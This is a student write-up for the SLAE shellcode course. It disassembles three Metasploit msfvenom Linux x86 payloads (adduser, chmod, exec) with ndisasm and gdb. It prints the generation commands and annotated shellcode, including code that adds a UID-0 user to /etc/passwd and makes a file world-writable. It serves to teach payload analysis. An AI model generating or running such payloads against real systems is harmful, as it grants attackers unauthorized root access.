SLAE: MSFVENOM payload analysis

7 minute read

*all supporting code can be found here*

slae32 Student ID: SLAE - 1532

This assignment will see us generate and examine 3 msfvenom payloads with GDB, ndisasm and libemu.

We know that for the purpose of this assignment they need to be x86 linux, so we’ll start by listing all such payloads with msfvenom --list payloads | grep linux/x86

All our previous tasks so far have dealt with spawning a shell of some sort, so today we will look for something different as below:

    linux/x86/adduser               Create a new user with UID 0
    linux/x86/chmod                 Runs chmod on specified file with specified mode
    linux/x86/exec                  Execute an arbitrary command

Payload 1

Let’s start with linux/x86/adduser, examining with ndisasm. We list the payload options with msfvenom --list-options -p linux/x86/adduser, and the result is as you would expect.


We spin it up and generate the shellcode, piping the output to nidasm with msfvenom -p linux/x86/adduser USER=user PASS=pass | ndisasm -u -

Here we can determine that 4 syscalls are being made:

push byte +0x46 ; syscall 70, #define __NR_setreuid
push byte +0x5  ; syscall 5, #define __NR_write
push byte +0x4  ; syscall 4, #define __NR_open
push byte +0x1  ; syscall 1, #define __NR_exit

Just from looking at this, we could hazard a guess that we will be opening etc/passwd and modifying it. We confirm this be converting three strings that get pushed on the stack:

push dword 0x64777373 }
push dword 0x61702f2f  = dwssap//cte/ or /etc//passwd flipped
push dword 0x6374652f }

what we can’t see is our args, so we will have to look closer at our ndisasm output

00000000  31C9              xor ecx,ecx
00000002  89CB              mov ebx,ecx
00000004  6A46              push byte +0x46 ; setreuid to 0
00000006  58                pop eax
00000007  CD80              int 0x80
00000009  6A05              push byte +0x5
0000000B  58                pop eax ; pop 0x5 to ecx to setup open syscall
0000000C  31C9              xor ecx,ecx
0000000E  51                push ecx ; push 0x0
0000000F  6873737764        push dword 0x64777373 ; as below
00000014  682F2F7061        push dword 0x61702f2f = dwssap//cte/ or /etc//passwd flipped
00000019  682F657463        push dword 0x6374652f ; as above
0000001E  89E3              mov ebx,esp ; store args for open
00000020  41                inc ecx ; set ecx to 1 as was zero before
00000021  B504              mov ch,0x4 ; move 4 into ch, cx (lower 16 bits of ecx) would now be 401
00000023  CD80              int 0x80
00000025  93                xchg eax,ebx
00000026  E822000000        call 0x4d ; this is an interesting trick, one that I learnt about in the GDB portion of this assignment further down.
This instruction is actually calling code that pushes our *processed* arguments (hashed password) to the stack for the write instruction
0000002B  7573              jnz 0xa0
0000002D  65723A            gs jc 0x6a
00000030  41                inc ecx
00000031  7A77              jpe 0xaa
00000033  3137              xor [edi],esi
00000035  63546E6E          arpl [esi+ebp*2+0x6e],dx
00000039  4A                dec edx
0000003A  41                inc ecx
0000003B  41                inc ecx
0000003C  41                inc ecx
0000003D  3A30              cmp dh,[eax]
0000003F  3A30              cmp dh,[eax]
00000041  3A3A              cmp bh,[edx]
00000043  2F                das
00000044  3A2F              cmp ch,[edi]
00000046  62696E            bound ebp,[ecx+0x6e]
00000049  2F                das
0000004A  7368              jnc 0xb4
0000004C  0A598B            or bl,[ecx-0x75]
**This is where we call the code to push user and pass**
0000004F  51                push ecx
00000050  FC                cld
00000051  6A04              push byte +0x4
00000053  58                pop eax
00000054  CD80              int 0x80
00000056  6A01              push byte +0x1
00000058  58                pop eax
00000059  CD80              int 0x80

To get an even better understanding, we generate the raw shellcode and use the echo | nidasm trick to examine what happens right after the string we know now is our user and pass string:


00000000  59                pop ecx ; store user and pass in ecx
00000001  8B51FC            mov edx,[ecx-0x4]
00000004  6A04              push byte +0x4 ; arg for write
00000006  58                pop eax ; put syscall number 4 in eax
00000007  CD80              int 0x80 ; call syscall
00000009  6A01              push byte +0x1 ; arg for exit
0000000B  58                pop eax; put syscall number 1 in eax
0000000C  CD80              int 0x80

Payload 2

Next up is the chmod payload, we will use libemu for this one. Libemu will have to be tracked down and installed, you may run into some issues that are easily solved. As before we list the options this time for chmod msfvenom --list-options -p linux/x86/chmod chmod

Once Libemu is setup we run the below commands to create a visual graph on payload flow:

msfvenom -p linux/x86/chmod FILE=/root/test.txt MODE=0777 | sctest -vvv -Ss 5000 -G dot -T png -o chmod.png

Unfortunatly Libemu really did not like this payload, as such there wascode misisng and the graph simply would not generate, so we move to disasm instead (good thing we have been exposed to multiple tools right?)

msfvenom -p linux/x86/chmod FILE=/home/student/Desktop/SLAE/ASSIGNMENTS/Ass_5/chmodtest.txt MODE=0777 | ndisasm -u -

So looking at the code, we can tell initially that syscall 0xf is pushed on, which is #define __NR_chmod 15, and again the opcode representation of the “garbage” instructions is actually a payload parameter. It looks like only the chmod and exit syscalls are called here. With the file argument being pushed on by calling code at offset 45, and then being popped into ebx.

Finally our second arg of 777 is pushed on with push dword 0x1ff, and chmod is called thus completing the attack before an exit.

00000000  99                cdq
00000001  6A0F              push byte +0xf ; push sycall 15 on (chmod)
00000003  58                pop eax ; pop the syscall into eax
00000004  52                push edx
00000005  E83B000000        call 0x45 ; call code at 45
0000000A  2F                das
0000000B  686F6D652F        push dword 0x2f656d6f
00000010  7374              jnc 0x86
00000012  7564              jnz 0x78
00000014  656E              gs outsb
00000016  742F              jz 0x47
00000018  44                inc esp
00000019  65736B            gs jnc 0x87
0000001C  746F              jz 0x8d
0000001E  702F              jo 0x4f
00000020  53                push ebx
00000021  4C                dec esp
00000022  41                inc ecx
00000023  45                inc ebp
00000024  2F                das
00000025  41                inc ecx
00000026  53                push ebx
00000027  53                push ebx
00000028  49                dec ecx
00000029  47                inc edi
0000002A  4E                dec esi
0000002B  4D                dec ebp
0000002C  45                inc ebp
0000002D  4E                dec esi
0000002E  54                push esp
0000002F  53                push ebx
00000030  2F                das
00000031  41                inc ecx
00000032  7373              jnc 0xa7
00000034  5F                pop edi
00000035  352F63686D        xor eax,0x6d68632f
0000003A  6F                outsd
0000003B  647465            fs jz 0xa3
0000003E  7374              jnc 0xb4
00000040  2E7478            cs jz 0xbb
00000043  7400              jz 0x45
00000045  5B                pop ebx ; code is called and then the args are popped into ebx
00000046  68FF010000        push dword 0x1ff ; our permission level arg is pushed on
0000004B  59                pop ecx ; and then popped into ecx
0000004C  CD80              int 0x80 ; with all args in place we finally call chmod
0000004E  6A01              push byte +0x1 ; push 1 on for exit syscall
00000050  58                pop eax
00000051  CD80              int 0x80 ; exit

opcode string between 5 and 45: 2F686F6D652F73747564656E742F4465736B746F702F534C41452F41535349474E4D454E54342F4173735F352F63686D6F64746573742E74787400

Decodes to:


Payload 3

As we can see for the linux/x86/exec payload, this has only one option, “CMD” - self explanatory.



For this payload we will use gdb. As we compiled the payload with the shellcode stored in “code”, we know that we can run disassemble &code straight off the bat and break just before the interrupt is called, by examining the initial code we clearly see that /bin/sh-c is pushed on - but where does ls come from? it appears the ins instruction inputs into a memory location, and as below screenshots, we can determine by breaking at the call instruction and stepping through it while examining the stack that it is indeed pushing that address onto the stack after storing the string inside.

disassemble disassemble

   0x0804a040 <+0>:	push   0xb ; move the value of 11 onto stack, the execve syscall number
   0x0804a042 <+2>:	pop    eax ; pop sycall into eax
   0x0804a043 <+3>:	cdq    
   0x0804a044 <+4>:	push   edx ; push 0x0 on (value confirmed by breaking at this address and examining edx)
   0x0804a045 <+5>:	pushw  0x632d ; push "c-" onto stack (-c)
   0x0804a049 <+9>:	mov    edi,esp ; move args into edi
   0x0804a04b <+11>:	push   0x68732f ; push "hs/" onto stack (/sh)
   0x0804a050 <+16>:	push   0x6e69622f ; push /nib/ (/bin)
   0x0804a055 <+21>:	mov    ebx,esp ; move args into ebx
   0x0804a057 <+23>:	push   edx
   0x0804a058 <+24>:	call   0x804a060 <code+32> ; store ls on the stack
   0x0804a05d <+29>:	ins    BYTE PTR es:[edi],dx store ls inside 0x0804a05d
   0x0804a05e <+30>:	jae    0x804a060 <code+32>
   0x0804a060 <+32>:	push   edi
   0x0804a061 <+33>:	push   ebx
   0x0804a062 <+34>:	mov    ecx,esp
   0x0804a064 <+36>:	int    0x80
   0x0804a066 <+38>:	add    BYTE PTR [eax],al